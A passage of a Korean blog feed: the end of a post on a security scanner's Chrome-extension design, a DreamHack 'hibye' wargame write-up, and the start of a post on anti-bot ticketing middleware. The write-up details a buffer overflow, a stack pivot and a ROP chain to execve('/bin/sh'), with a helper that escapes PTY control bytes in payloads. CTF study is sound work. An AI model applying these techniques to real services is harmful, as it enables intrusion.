<p>그 점에서 이번 구조 전환은 단순 UI 개선이 아니라<br><strong>도구의 생명력을 늘리는 선택</strong>이었다.</p>
<hr>
<h2 id="7-보안-도구답게-권한은-최소화해야-한다">7. 보안 도구답게 권한은 최소화해야 한다</h2>
<p>Chrome Extension으로 가면 편의성은 좋아지지만,
동시에 권한 문제를 더 신중하게 봐야 한다.</p>
<p>보안 도구가 과하게 많은 권한을 요구하면
오히려 신뢰성을 해칠 수 있다.</p>
<p>그래서 기본 원칙은 분명하다.</p>
<h3 id="권한-설계-원칙">권한 설계 원칙</h3>
<ul>
<li>꼭 필요한 권한만 요청한다  </li>
<li>특정 대상에만 접근하도록 제한한다  </li>
<li>불필요한 페이지 접근은 최소화한다  </li>
<li>로컬 저장 중심으로 설계한다  </li>
<li>외부 전송이 필요하다면 명확한 목적과 범위를 둔다  </li>
</ul>
<p>이건 단순한 구현 이슈가 아니라,
<strong>보안 도구로서 어떤 태도를 가지는가</strong>와 연결된 문제다.</p>
<p>실제로 레드팀이든 보안 엔지니어링이든,
도구 설계에서 권한과 신뢰를 어떻게 다루는지는 꽤 중요한 역량으로 본다.</p>
<hr>
<h2 id="8-초기-범위를-줄인-것도-의도된-선택이다">8. 초기 범위를 줄인 것도 의도된 선택이다</h2>
<p>프로젝트는 초반에 범위를 너무 넓히면 무너지기 쉽다.</p>
<p>그래서 이번 단계에서는 일부러 다음 정도에 집중하는 게 맞다고 봤다.</p>
<h3 id="초기-mvp에서-중요한-것">초기 MVP에서 중요한 것</h3>
<ul>
<li>스캔 실행 가능  </li>
<li>상태 확인 가능  </li>
<li>결과 요약 가능  </li>
<li>JSON 내보내기 가능  </li>
<li>로컬 히스토리 확인 가능  </li>
</ul>
<h3 id="아직-굳이-넣지-않아도-되는-것">아직 굳이 넣지 않아도 되는 것</h3>
<ul>
<li>멀티유저 협업  </li>
<li>서버 동기화  </li>
<li>과금 모델  </li>
<li>계정 시스템  </li>
<li>복잡한 팀 단위 관리 기능  </li>
</ul>
<p>이렇게 해야 목표가 흐려지지 않는다.</p>
<p>즉, 이번 결정은 기능을 포기한 게 아니라,<br><strong>핵심 가치를 먼저 살리기 위한 전략적 축소</strong>에 가깝다.</p>
<hr>
<h2 id="9-포트폴리오-관점에서-이-글이-보여주는-것">9. 포트폴리오 관점에서 이 글이 보여주는 것</h2>
<p>이 문서는 단순히 “Chrome Extension 만들기로 했다”를 적는 글이 아니다.</p>
<p>회사 포트폴리오 관점에서 보면,
이 글은 다음을 보여준다.</p>
<h3 id="이-문서가-드러내는-역량">이 문서가 드러내는 역량</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>보여주는 내용</th>
</tr>
</thead>
<tbody><tr>
<td>보안 관점</td>
<td>단순 스캐너가 아니라 분석 흐름 전체를 고려함</td>
</tr>
<tr>
<td>제품 관점</td>
<td>기능 구현에서 끝나지 않고 사용 방식까지 설계함</td>
</tr>
<tr>
<td>구조 설계</td>
<td>플러그인 구조와 UI 구조의 결합 방식을 고민함</td>
</tr>
<tr>
<td>우선순위 판단</td>
<td>서버형보다 로컬 MVP가 적절하다고 판단함</td>
</tr>
<tr>
<td>실전성</td>
<td>레드팀 관점의 사전 분석 보조 도구로 확장 가능성을 봄</td>
</tr>
</tbody></table>
<p>즉, 이 프로젝트는 “툴 하나 만들었다” 수준보다,
<strong>실전 보안 도구를 어떤 형태로 설계할지 고민한 과정</strong>까지 함께 보여줄 수 있다.</p>
<p>이건 실제 지원서나 포트폴리오에서 생각보다 중요하다.</p>
<p>왜냐하면 기업 입장에서는 단순 구현 능력만 보는 게 아니라,
문제를 어떤 방식으로 구조화하고,
제약 조건 안에서 어떤 선택을 했는지도 보기 때문이다.</p>
<hr>
<h2 id="마치며">마치며</h2>
<p>이번에 로컬화와 Chrome Extension 방향을 선택한 이유는 단순하다.</p>
<p>기능이 많아도 실제로 잘 안 쓰이면 의미가 없기 때문이다.</p>
<p>s2n은 원래도 확장 가능한 구조를 갖고 있었고,
이제는 여기에 맞는 사용 형태를 붙이려는 단계로 넘어왔다고 보면 된다.</p>
<p>정리하면 이렇다.</p>
<ul>
<li>서버형보다 로컬 구조가 초기 단계에 더 적절했다  </li>
<li>Electron보다 Chrome Extension이 더 가볍고 현실적이었다  </li>
<li>목표는 단순 GUI 추가가 아니라 <strong>실전형 보안 분석 도구 설계</strong>였다  </li>
<li>레드팀 관점에서도 이 방향은 사전 분석 보조 도구로 확장 가능성이 있다  </li>
</ul>
<p>아직 완성된 상태는 아니다.<br>근데 방향은 꽤 분명하다.</p>
<p><strong>s2n을 단순히 실행하는 스캐너가 아니라,
실제로 자주 열어보게 되는 분석 도구로 바꾸는 것.</strong></p>
<p>이 글은 그 출발점에 대한 정리다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[DreamHack hibye 삽질기]]></title>
            <link>https://velog.io/@9_000k/DreamHack-hibye-%EC%82%BD%EC%A7%88%EA%B8%B0</link>
            <guid>https://velog.io/@9_000k/DreamHack-hibye-%EC%82%BD%EC%A7%88%EA%B8%B0</guid>
            <pubDate>Thu, 26 Feb 2026 14:30:54 GMT</pubDate>
            <description><![CDATA[<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>PTY canonical mode 환경에서는 payload에 포함된 특수 바이트가 제어 신호로 해석돼서 exploit이 깨진다</li>
<li>해결책은 <strong>0x16(Ctrl+V)</strong> 하나다 — 제어 문자 앞에 0x16을 붙이면 literal로 전달된다</li>
<li>exploit 66개 버전을 쓰면서 하루 종일 삽질한 끝에 성공했다</li>
</ol>
<hr>
<h2 id="들어가며">들어가며</h2>
<p>드림핵 워게임 중에 hibye라는 문제가 있다. 처음 봤을 땐 간단한 BOF 문제인 줄 알았다.</p>
<p>처음 세운 계획은 이랬다:</p>
<ul>
<li>버퍼 오버플로우로 RIP 덮고</li>
<li>libc leak해서</li>
<li>system(&quot;/bin/sh&quot;) 호출</li>
</ul>
<p>교과서 그 자체다. 근데 실제로는 <strong>PTY canonical mode</strong>라는 놈 때문에 무려 66개가 넘는 exploit 버전을 작성하면서 하루 종일 날렸다. 결론부터 말하면 0x16 하나를 몰라서 벌어진 참사다.</p>
<hr>
<h2 id="취약점-개념">취약점 개념</h2>
<h3 id="stack-buffer-overflow">Stack Buffer Overflow</h3>
<p>IDA로 디컴파일하면 프로그램 구조가 깔끔하게 나온다. main에서 초기화하고, token 출력하고, 입력 두 번 받는 구조다. 첫 번째 입력은 힙 영역에 크게 받고, 두 번째 입력이 스택 버퍼다.</p>
<p>핵심은 두 번째 입력 함수다. 어셈블리를 보면 <code>sub rsp, 0x20</code>으로 32바이트 버퍼를 잡는데, read에서 0x30(48바이트)을 읽는다. <strong>16바이트 오버플로우</strong>가 가능하다.</p>
<p>스택 레이아웃으로 보면:</p>
<pre><code>+-------------------+ &lt;- rbp-0x20 (버퍼 시작)
| buffer (32 bytes) |
+-------------------+ &lt;- rbp
| saved rbp (8)     |
+-------------------+ &lt;- rbp+0x08
| return addr (8)   | &lt;- 여기를 덮는다
+-------------------+</code></pre><p>saved rbp(8바이트) + return address(8바이트)를 정확히 덮을 수 있는 크기다. 여기까지만 보면 전형적인 BOF + ROP 문제다.</p>
<h3 id="ptypseudo-terminal-환경">PTY(Pseudo-Terminal) 환경</h3>
<p>근데 Dockerfile을 보니 이런 설정이 있었다:</p>
<pre><code class="language-dockerfile">socat TCP-LISTEN:$PORT,reuseaddr,fork \
    EXEC:&quot;/chall&quot;,pty,sane,setsid,sigint,raw</code></pre>
<p>여기서 <code>pty,sane</code> 옵션이 문제의 시작이다. PTY는 터미널을 에뮬레이트하는 가상 터미널인데, <strong>canonical mode</strong>에서는 특수 바이트들이 &quot;데이터&quot;가 아니라 &quot;터미널 제어 신호&quot;로 해석된다.</p>
<p>일반적인 TCP 소켓이면 바이트가 그대로 전달된다. 근데 PTY를 거치면 터미널 드라이버가 중간에서 특수 문자를 가로채서 처리해버린다. 쉽게 말하면 payload에 0x03이 있으면 PTY가 &quot;아 Ctrl+C구나&quot; 하고 프로세스를 죽이는 거다.</p>
<hr>
<h2 id="문제-상황-첫-시도와-실패">문제 상황: 첫 시도와 실패</h2>
<h3 id="첫-번째-시도-단순-rop">첫 번째 시도: 단순 ROP</h3>
<p>처음엔 아무 생각 없이 패딩 채우고 ROP chain 붙여서 보냈다.</p>
<p><strong>예상 결과</strong>: 쉘 획득</p>
<p><strong>실제 결과</strong>: EOF 발생, 연결 끊김</p>
<p>뭐가 문제인지 몰라서 <code>context.log_level = &#39;debug&#39;</code> 켰더니 디버그 출력에 <code>^@</code>가 보였다. null byte가 PTY에서 문제를 일으키고 있었다.</p>
<h3 id="두-번째-시도-sendlineafter">두 번째 시도: sendlineafter</h3>
<p>sendlineafter를 쓰니까 개행이 추가로 붙어서 Name 입력에서 48바이트를 넘어가는 문제가 발생했다.</p>
<h3 id="세-번째-시도-eofd로-입력-종료">세 번째 시도: EOF(^D)로 입력 종료</h3>
<pre><code class="language-python">p.send(payload + b&#39;\x04&#39;)  # EOF로 입력 종료 시도</code></pre>
<p>PTY에서 0x04는 &quot;데이터 전달용 문자&quot;가 아니라 <strong>EOF 제어 신호</strong>다. 연결 자체가 끊겨버렸다.</p>
<p>이 시점에서 &quot;아 이건 PTY가 문제구나&quot; 라는 걸 확실히 깨달았다.</p>
<hr>
<h2 id="문제의-원인">문제의 원인</h2>
<h3 id="pty-canonical-mode에서-특수-처리되는-바이트">PTY Canonical Mode에서 특수 처리되는 바이트</h3>
<p>PTY canonical mode에서는 다음 바이트들이 데이터가 아닌 제어 신호로 해석된다:</p>
<table>
<thead>
<tr>
<th>바이트</th>
<th>의미</th>
<th>효과</th>
</tr>
</thead>
<tbody><tr>
<td>0x03</td>
<td>Ctrl+C</td>
<td>프로세스 종료 (SIGINT)</td>
</tr>
<tr>
<td>0x04</td>
<td>Ctrl+D</td>
<td>EOF (입력 종료)</td>
</tr>
<tr>
<td>0x0a</td>
<td>\n</td>
<td>줄바꿈 (라인 입력 완료)</td>
</tr>
<tr>
<td>0x0d</td>
<td>\r</td>
<td>캐리지 리턴</td>
</tr>
<tr>
<td>0x15</td>
<td>Ctrl+U</td>
<td>현재 라인 전체 삭제</td>
</tr>
<tr>
<td>0x1a</td>
<td>Ctrl+Z</td>
<td>프로세스 정지 (SIGTSTP)</td>
</tr>
<tr>
<td>0x7f</td>
<td>DEL</td>
<td>백스페이스 (직전 문자 삭제)</td>
</tr>
</tbody></table>
<p>문제는 <strong>ROP chain에 사용하는 주소들에 이런 바이트가 포함</strong>된다는 거다.</p>
<p>예를 들어 PIE base가 있는 바이너리에서 gadget 주소에 0x15(Ctrl+U)가 들어가 있으면, PTY가 그 시점까지 입력된 라인을 통째로 삭제해버린다. libc 주소는 거의 항상 0x7f로 시작하는데, 0x7f는 DEL(백스페이스)이라 직전 바이트를 날려먹는다.</p>
<p>payload가 목적지에 도착하기도 전에 터미널 드라이버한테 난도질당하는 상황이었다.</p>
<h3 id="왜-로컬에서는-됐는데-리모트에서-안-됐나">왜 로컬에서는 됐는데 리모트에서 안 됐나</h3>
<p>로컬에서 직접 바이너리를 실행하면 표준 입출력이 그냥 파이프로 연결된다. PTY가 끼어있지 않으니까 바이트가 그대로 전달된다. 근데 리모트는 socat이 PTY를 통해 프로그램을 실행하기 때문에 canonical mode가 적용되는 거다.</p>
<p>이게 바로 &quot;로컬에선 되는데 리모트에선 안 되는&quot; 전형적인 원인 중 하나다.</p>
<hr>
<h2 id="해결-방법">해결 방법</h2>
<h3 id="0-핵심-발견-0x16-ctrlv">0. 핵심 발견: 0x16 (Ctrl+V)</h3>
<p><strong>모든 문제의 해결책은 0x16이었다.</strong></p>
<p>PTY canonical mode에서 0x16(Ctrl+V)은 <strong>&quot;다음 문자를 literal로 받아라&quot;</strong>는 의미다. 터미널에서 실제로 Ctrl+V를 누르면 다음 입력 문자가 제어 신호가 아니라 순수 데이터로 처리되는 것과 같은 원리다.</p>
<pre><code># 0x0a(개행)를 데이터로 전달하고 싶을 때
\x16\x0a  → PTY가 0x0a를 제어 신호가 아닌 순수 데이터로 처리</code></pre><p>이걸로 tty_escape 함수를 만들었다:</p>
<pre><code class="language-python">def tty_escape(data: bytes):
    &quot;&quot;&quot;모든 제어 문자를 0x16으로 escape&quot;&quot;&quot;
    res = b&quot;&quot;
    for b in data:
        if b &lt;= 0x1f or b == 0x7f:
            res += b&quot;\x16&quot; + bytes([b])
        else:
            res += bytes([b])
    return res</code></pre>
<p>여기서 중요한 게 하나 있다. <strong>escape 범위</strong>다.</p>
<pre><code class="language-python"># ❌ 실패한 버전 - 알려진 특수 문자만 escape
if b in [0x0a, 0x0d, 0x7f, 0x03, 0x04, 0x15, 0x1a]:

# ✅ 성공한 버전 - 모든 제어 문자 escape
if b &lt;= 0x1f or b == 0x7f:</code></pre>
<p>처음에는 위 표에 나온 문자 몇 개만 escape했는데, 그걸로는 부족했다. 0x00~0x1f 범위에는 알려진 것 외에도 canonical mode에서 특수 처리될 수 있는 바이트가 더 있다. <strong>그냥 제어 문자 전부를 escape하는 게 안전하다.</strong> 이 범위 차이가 성공과 실패를 갈랐다.</p>
<h3 id="1-입력-방식-구분">1. 입력 방식 구분</h3>
<p>PTY 환경에서는 send와 sendline의 구분이 더 중요해진다.</p>
<pre><code class="language-python"># 첫 번째 입력: tty_escape 적용 후 수동으로 개행 추가
p.sendafter(b&#39;Input:&#39;, tty_escape(payload) + b&#39;\n&#39;)

# 두 번째 입력: 오버플로우 payload
p.sendlineafter(b&#39;Name:&#39;, tty_escape(payload2))</code></pre>
<p>sendline이 자동으로 붙이는 개행까지 감안해서 payload 크기를 계산해야 한다.</p>
<h3 id="2-libc-leak-파싱">2. libc leak 파싱</h3>
<p>puts로 GOT 엔트리를 출력해서 libc 주소를 leak하는 건 일반적인 ROP 기법이다. 근데 PTY 환경에서는 출력 데이터에도 <code>\r\n</code>이 섞이거나 바이트가 변형될 수 있어서 파싱에 주의해야 한다.</p>
<p>libc 주소는 유저 영역 상위에 매핑되기 때문에 특정 바이트로 시작한다는 특성이 있다. 이걸 이용해서 leak 데이터에서 유효한 주소를 필터링할 수 있다.</p>
<h3 id="3-전체-exploit-흐름">3. 전체 exploit 흐름</h3>
<p>최종 exploit의 큰 흐름은 이렇다:</p>
<pre><code>Stage 0: PIE base leak
  ├─ 프로그램이 출력하는 token 값에서 PIE base 계산

Stage 1: libc leak
  ├─ 첫 번째 입력에 ROP chain 배치
  │   └─ puts(GOT entry) → main 복귀
  ├─ 두 번째 입력으로 stack pivot (saved rbp 조작)
  │   └─ leave; ret으로 RSP를 ROP chain이 있는 곳으로 이동
  └─ puts 출력에서 libc base 계산

Stage 2: 쉘 획득
  ├─ 두 번째 라운드 첫 번째 입력에 최종 ROP chain 배치
  │   └─ execve(&quot;/bin/sh&quot;, NULL, NULL)
  └─ interactive!</code></pre><p><strong>Stack Pivot</strong>이 핵심 기법이다. 두 번째 입력에서 16바이트밖에 오버플로우가 안 되니까, saved rbp를 조작해서 <code>leave; ret</code> gadget으로 RSP를 원하는 곳(첫 번째 입력으로 넣어둔 ROP chain이 있는 BSS 영역)으로 옮기는 거다.</p>
<pre><code>leave 명령어의 동작:
  mov rsp, rbp    ← RSP를 조작된 rbp 값으로 변경
  pop rbp         ← 새 위치에서 rbp pop

ret:
  pop rip         ← 새 위치에서 다음 gadget 실행</code></pre><p>이렇게 하면 16바이트 오버플로우만으로도 긴 ROP chain을 실행할 수 있다.</p>
<h3 id="4-execve-호출을-위한-gadget-조합">4. execve 호출을 위한 gadget 조합</h3>
<p>최종 쉘 획득에는 system 대신 execve를 사용했다. execve(&quot;/bin/sh&quot;, NULL, NULL)을 호출하려면 rdi, rsi, rdx 세 개의 레지스터를 세팅해야 한다.</p>
<p>문제는 <code>pop rdx; ret</code> 같은 깨끗한 gadget이 없을 때가 많다는 거다. 이럴 때 쓸 수 있는 우회 기법이 있다:</p>
<pre><code>xor eax, eax     ← eax = 0
xchg edx, eax    ← edx = 0 (eax와 교환)</code></pre><p>이런 식으로 간접적으로 레지스터를 세팅하는 gadget 조합을 찾아야 한다. ROPgadget으로 libc를 뒤져보면 의외로 쓸만한 조합이 나온다.</p>
<hr>
<h2 id="추가-실험">추가 실험</h2>
<h3 id="escape가-필요한-주소-사전-체크">escape가 필요한 주소 사전 체크</h3>
<p>exploit 작성할 때 미리 각 주소에 bad byte가 포함되어 있는지 확인하는 습관을 들이면 좋다:</p>
<pre><code class="language-python">bad_bytes = set(range(0x00, 0x20)) | {0x7f}

for name, addr in gadgets.items():
    addr_bytes = p64(addr)
    needs_escape = any(b in addr_bytes for b in bad_bytes)
    print(f&quot;{name}: needs escape = {needs_escape}&quot;)</code></pre>
<p>실제로 확인해보면 PIE 바이너리의 gadget 주소에는 0x1a(Ctrl+Z), 0x15(Ctrl+U) 같은 바이트가 꽤 자주 들어가있고, libc 주소는 거의 100% 0x7f(DEL)를 포함한다. PTY 환경에서는 tty_escape 없이 exploit하는 게 사실상 불가능하다.</p>
<h3 id="ret-sled">ret sled</h3>
<p>ROP chain 앞에 <code>ret</code> gadget을 여러 개 넣는 기법도 사용했다. 이건 두 가지 목적이 있다:</p>
<ul>
<li><strong>스택 정렬</strong>: x86_64에서 일부 libc 함수(특히 system, execve)는 16바이트 정렬을 요구한다</li>
<li><strong>NOP sled 대용</strong>: stack pivot 후 정확한 landing 위치를 맞추기 어려울 때 ret sled로 여유를 둔다</li>
</ul>
<hr>
<h2 id="실제로-겪은-문제들과-해결법">실제로 겪은 문제들과 해결법</h2>
<ol>
<li><p><strong>payload 보냈는데 EOF 발생</strong>
→ 주소에 0x03(SIGINT), 0x04(EOF) 같은 바이트가 포함되어 있을 가능성 높다. tty_escape 적용해야 한다.</p>
</li>
<li><p><strong>payload 일부가 잘리거나 변형됨</strong>
→ 0x7f(백스페이스)가 직전 바이트를 삭제하고 있을 수 있다. debug 모드로 실제 전송 바이트 확인하자.</p>
</li>
<li><p><strong>로컬에서 되는데 리모트에서 안 됨</strong>
→ Dockerfile에서 socat 옵션 확인. <code>pty,sane</code>이 있으면 PTY canonical mode가 적용되는 거다.</p>
</li>
<li><p><strong>tty_escape 적용했는데도 안 됨</strong>
→ escape 범위를 확인하자. 특정 문자 몇 개만 하면 안 되고, 0x00~0x1f 전체 + 0x7f를 해야 한다.</p>
</li>
<li><p><strong>libc leak 값이 이상함</strong>
→ PTY가 출력 데이터도 변형할 수 있다. <code>\r\n</code> 변환이 일어나는 경우가 있으니 recv 데이터를 hex로 찍어보고 파싱 로직을 조정해야 한다.</p>
</li>
</ol>
<hr>
<h2 id="핵심-교훈">핵심 교훈</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>PTY canonical mode</strong></td>
<td>특수 바이트가 제어 신호로 해석된다. exploit 전에 반드시 환경 확인</td>
</tr>
<tr>
<td><strong>0x16 (Ctrl+V)</strong></td>
<td>PTY에서 다음 바이트를 literal로 전달하는 escape 문자. 이거 하나가 핵심</td>
</tr>
<tr>
<td><strong>escape 범위</strong></td>
<td>알려진 특수 문자 몇 개만으로는 부족. <strong>0x00~0x1f 전체 + 0x7f</strong> 필요</td>
</tr>
<tr>
<td><strong>Stack Pivot</strong></td>
<td>제한된 오버플로우 크기를 극복하는 핵심 기법. saved rbp + leave;ret 조합</td>
</tr>
<tr>
<td><strong>로컬 vs 리모트</strong></td>
<td>socat PTY 설정 때문에 동작이 달라질 수 있다. Dockerfile 먼저 확인</td>
</tr>
<tr>
<td><strong>디버깅</strong></td>
<td>context.log_level = &#39;debug&#39;로 실제 송수신 바이트를 확인하는 게 제일 빠르다</td>
</tr>
</tbody></table>
<hr>
<h2 id="마치며">마치며</h2>
<p>이번 문제에서 가장 크게 배운 건 <strong>exploit 환경을 먼저 파악해야 한다</strong>는 거다. 취약점 자체는 단순한 BOF인데, PTY 환경이라는 변수 하나 때문에 하루 종일 삽질했다.</p>
<p>앞으로는:</p>
<ul>
<li>Dockerfile이나 서버 설정 <strong>먼저</strong> 확인하기</li>
<li>주소에 포함된 특수 바이트 미리 체크하기</li>
<li>debug 모드로 실제 통신 내용 확인하기</li>
</ul>
<p>66번의 실패가 있었지만, 덕분에 PTY canonical mode가 exploit에 어떤 영향을 미치는지 확실하게 체득했다. 이론으로 배우면 &quot;아 그렇구나&quot; 하고 넘어갈 내용인데, 직접 하루 종일 삽질하니까 절대 안 잊혀진다.</p>
<p>무엇보다 <strong>&quot;왜 안 되지?&quot;</strong>라는 질문을 멈추지 않은 게 결국 답을 찾게 해줬다.</p>
<hr>
<p><strong>출처</strong>: DreamHack 워게임 - hibye</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Ticket Redirect Guard: ktcloud techup 실무프로젝트 Poc]]></title>
            <link>https://velog.io/@9_000k/Ticket-Redirect-Guard-ktcloud-techup-%EC%8B%A4%EB%AC%B4%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Poc</link>
            <guid>https://velog.io/@9_000k/Ticket-Redirect-Guard-ktcloud-techup-%EC%8B%A4%EB%AC%B4%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Poc</guid>
            <pubDate>Thu, 26 Feb 2026 05:35:40 GMT</pubDate>
            <description><![CDATA[<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>티켓팅 백엔드 앞단에서 <strong>risk score</strong>로 요청을 분류하고, MID/HIGH 트래픽에 <strong>랜덤 지연</strong> 과 <strong>302 리다이렉트 챌린지</strong>를 건다. </li>
<li>브라우저는 302를 자연스럽게 따라가며 <strong>HttpOnly 쿠키 토큰</strong>을 받고 복귀하지만, 단순 자동화는 흐름이 끊기기 쉽다. </li>
<li>킬스위치/임계값/지연범위/화이트리스트를 <strong>ENV로 즉시 조절</strong>하게 만들어서 운영 레버를 잡는 게 목표다. </li>
</ol>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>티켓팅은 트래픽이 “그냥 많다” 수준이 아니라, <strong>정해진 시간에 폭발</strong>한다.<br>그리고 그 폭발의 일부는 사람이 아니라 자동화가 만든다.</p>
<p>단순하게 403/429를 박아도 되긴 하는데, 여기서 문제가 생긴다.</p>
<ul>
<li>매크로는 <strong>거절당하면 재시도</strong>한다</li>
<li>프록시/IP 로테이션으로 <strong>회피 비용</strong>을 낮춘다</li>
<li>결국 서버는 “차단 응답”을 만드는 데도 리소스를 쓴다</li>
</ul>
<p>그래서 이 PoC는 방향을 바꿨다.</p>
<ul>
<li>아예 “너 접근 금지”라고 말하기보단  </li>
<li><strong>흐름을 꼬아서 자동화가 값비싸지게 만들고</strong>,  </li>
<li>정상 브라우저는 <strong>최대한 자연스럽게 통과</strong>시키는 쪽이다.</li>
</ul>
<hr>
<h2 id="이-프로젝트가-해결하려는-문제-정의">이 프로젝트가 해결하려는 문제 정의</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>현실 문제</th>
<th>흔한 대응</th>
<th>구멍</th>
</tr>
</thead>
<tbody><tr>
<td>순간 폭발 트래픽</td>
<td>티켓 오픈 시점에 QPS 폭증</td>
<td>HPA/KEDA 확장</td>
<td>확장 신호가 봇 트래픽에 오염될 수 있다</td>
</tr>
<tr>
<td>자동화 재시도</td>
<td>403/429면 곧바로 재시도 루프</td>
<td>레이트리밋</td>
<td>분산/로테이션이면 효율 떨어진다</td>
</tr>
<tr>
<td>봇 적응</td>
<td>헤더 위장, 쿠키 저장, 리다이렉트 처리</td>
<td>정적 룰</td>
<td>룰 고정이면 결국 학습된다</td>
</tr>
</tbody></table>
<p>여기서 내가 한 선택은 “완벽 탐지”가 아니라 <strong>완화(mitigation) 레이어</strong>다.<br>즉, “1차 방어에서 자동화를 흔들고 서버 부담을 줄이는 장치”다.</p>
<hr>
<h2 id="핵심-아이디어-고의적-지연--302-챌린지">핵심 아이디어: 고의적 지연 + 302 챌린지</h2>
<h3 id="전체-플로우-ascii">전체 플로우 (ASCII)</h3>
<pre><code class="language-text">Client
  |
  |  (1) Request
  v
Guard Middleware
  |  - whitelist?
  |  - rate count (Redis)
  |  - risk score
  |  - action 결정(pass/delay/redirect)
  |
  +--&gt; PASS  ----------------------------&gt; Origin handler (/seat, /reserve, /pay ...)
  |
  +--&gt; DELAY (100~800ms 랜덤) ----------- &gt; Origin handler
  |
  +--&gt; REDIRECT (302) --&gt; /challenge?return_to=/seat
                               |
                               |  (2) token 발급 + HttpOnly 쿠키 set
                               v
                        302 -&gt; return_to 로 복귀</code></pre>
<p>이 설계 자체는 README에 적어둔 흐름 그대로다. </p>
<hr>
<h2 id="왜-302-리다이렉트가-먹히냐">왜 302 리다이렉트가 먹히냐?</h2>
<p>여기서 포인트는 “리다이렉트 자체”가 아니다.<br>포인트는 <strong>자동화 클라이언트의 허술함</strong>이다.</p>
<ul>
<li>브라우저: 302 따라감 + 쿠키 저장 + 다음 요청에 쿠키 포함  </li>
<li>단순 매크로/스크립트:  <ul>
<li><code>-L</code> 안 붙이면 302에서 멈춘다  </li>
<li>쿠키 jar 안 쓰면 상태가 이어지지 않는다  </li>
<li>UA/헤더가 비어있으면 점수도 올라간다</li>
</ul>
</li>
</ul>
<p>즉, 이 PoC는 “봇을 못 들어오게” 막는 게 아니라, <strong>봇이 들어오면 더 귀찮아지게</strong> 만든다.</p>
<hr>
<h2 id="구현-상세-파일-단위로-뜯어보기">구현 상세: 파일 단위로 뜯어보기</h2>
<h3 id="구성-요소-한-장-요약">구성 요소 한 장 요약</h3>
<table>
<thead>
<tr>
<th>모듈</th>
<th>역할</th>
<th>키 포인트</th>
</tr>
</thead>
<tbody><tr>
<td><code>GuardMiddleware</code></td>
<td>요청 가로채고 액션 결정</td>
<td>kill switch/whitelist/score 구간별 pass·delay·redirect</td>
</tr>
<tr>
<td><code>rate_limiter.py</code></td>
<td>IP별 슬라이딩 윈도우 카운트</td>
<td>Redis ZSET로 10초/60초 카운트</td>
</tr>
<tr>
<td><code>scorer.py</code></td>
<td>risk score 계산</td>
<td>rate + 쿠키/세션 + 헤더 + 민감경로 가중치</td>
</tr>
<tr>
<td><code>routes.py</code></td>
<td><code>/challenge</code>, <code>/metrics</code>, 데모 엔드포인트</td>
<td>HttpOnly 쿠키 토큰 발급 후 302 복귀</td>
</tr>
<tr>
<td><code>token.py</code></td>
<td>HMAC 토큰 생성/검증</td>
<td>exp, ip+ua 바인딩, 서명 검증</td>
</tr>
<tr>
<td><code>metrics.py</code></td>
<td>인메모리 지표</td>
<td>redirect/delay/pass 카운트와 avg delay</td>
</tr>
<tr>
<td><code>config.py</code></td>
<td>ENV 설정</td>
<td>임계값/지연범위/화이트리스트/민감경로</td>
</tr>
</tbody></table>
<hr>
<h2 id="guardmiddleware-여기서-다-결정된다">GuardMiddleware: “여기서 다 결정된다”</h2>
<h3 id="핵심-정책진짜-중요">핵심 정책(진짜 중요)</h3>
<ul>
<li><code>GUARD_ENABLED=false</code>면 <strong>즉시 우회</strong>(킬스위치) </li>
<li>화이트리스트(IP/경로/UA)는 <strong>무조건 통과</strong>   </li>
<li><code>/challenge</code> 자체는 가드가 다시 건드리면 루프 난다 → 내부 엔드포인트는 bypass </li>
<li>점수 구간별 액션:  <ul>
<li>HIGH: 무조건 redirect  </li>
<li>MID: 40% redirect, 아니면 랜덤 지연  (아니면 둘다 예정)</li>
<li>LOW: pass </li>
</ul>
</li>
</ul>
<h3 id="코드-스니펫-미들웨어-액션-분기">코드 스니펫 (미들웨어 액션 분기)</h3>
<pre><code class="language-python"># app/middleware.py (요지)
if score &gt;= cfg.score_high:
    return _redirect_to_challenge(path)

if score &gt;= cfg.score_mid:
    if random.random() &lt; 0.4:
        return _redirect_to_challenge(path)
    else:
        await asyncio.sleep(delay_ms / 1000.0)
        return await call_next(request)</code></pre>
<p>이건 “너 봇이냐”를 맞추는 게 아니라, “너 좀 수상하네? 그럼 번거로운 루트로 돌아가” 라는 느낌이다. </p>
<hr>
<h2 id="risk-score-점수화는-이렇게-했다">Risk Score: 점수화는 이렇게 했다</h2>
<p>정교한 ML 모델이 아니라, 운영에서 바로 쓸 수 있는 신호를 <strong>가볍게 점수로 합산</strong>했다. </p>
<h3 id="스코어-룰-요약표">스코어 룰 요약표</h3>
<table>
<thead>
<tr>
<th>신호</th>
<th align="right">조건</th>
<th align="right">점수</th>
<th>이유(내 생각)</th>
</tr>
</thead>
<tbody><tr>
<td>short window rate</td>
<td align="right">10초 카운트가 limit 초과</td>
<td align="right">최대 +40</td>
<td>매크로는 짧게 폭발한다</td>
</tr>
<tr>
<td>long window rate</td>
<td align="right">60초 카운트가 limit 초과</td>
<td align="right">최대 +30</td>
<td>장기적으로도 비정상 패턴 잡는다</td>
</tr>
<tr>
<td>쿠키/세션 없음</td>
<td align="right"><code>no_cookie_or_session</code></td>
<td align="right">+15</td>
<td>상태 없는 요청은 보통 수상하다</td>
</tr>
<tr>
<td>UA 비어있음</td>
<td align="right"><code>empty_ua</code></td>
<td align="right">+10</td>
<td>봇 클라 대충 만든 경우 많다</td>
</tr>
<tr>
<td>Accept-Language 없음</td>
<td align="right"><code>no_accept_language</code></td>
<td align="right">+5</td>
<td>브라우저스러움 체크</td>
</tr>
<tr>
<td>민감 경로</td>
<td align="right"><code>/seat</code>, <code>/reserve</code>, <code>/pay</code> 등</td>
<td align="right">+10</td>
<td>핵심 구간에 집중하는 트래픽은 더 엄격히 본다</td>
</tr>
</tbody></table>
<p>점수는 최대 100으로 캡을 씌웠다. </p>
<hr>
<h2 id="302-챌린지-토큰은-어떻게-발급검증하나">302 챌린지: 토큰은 어떻게 발급/검증하나</h2>
<h3 id="토큰-내용">토큰 내용</h3>
<p>토큰은 JSON payload + HMAC SHA-256 서명으로 구성한다. </p>
<table>
<thead>
<tr>
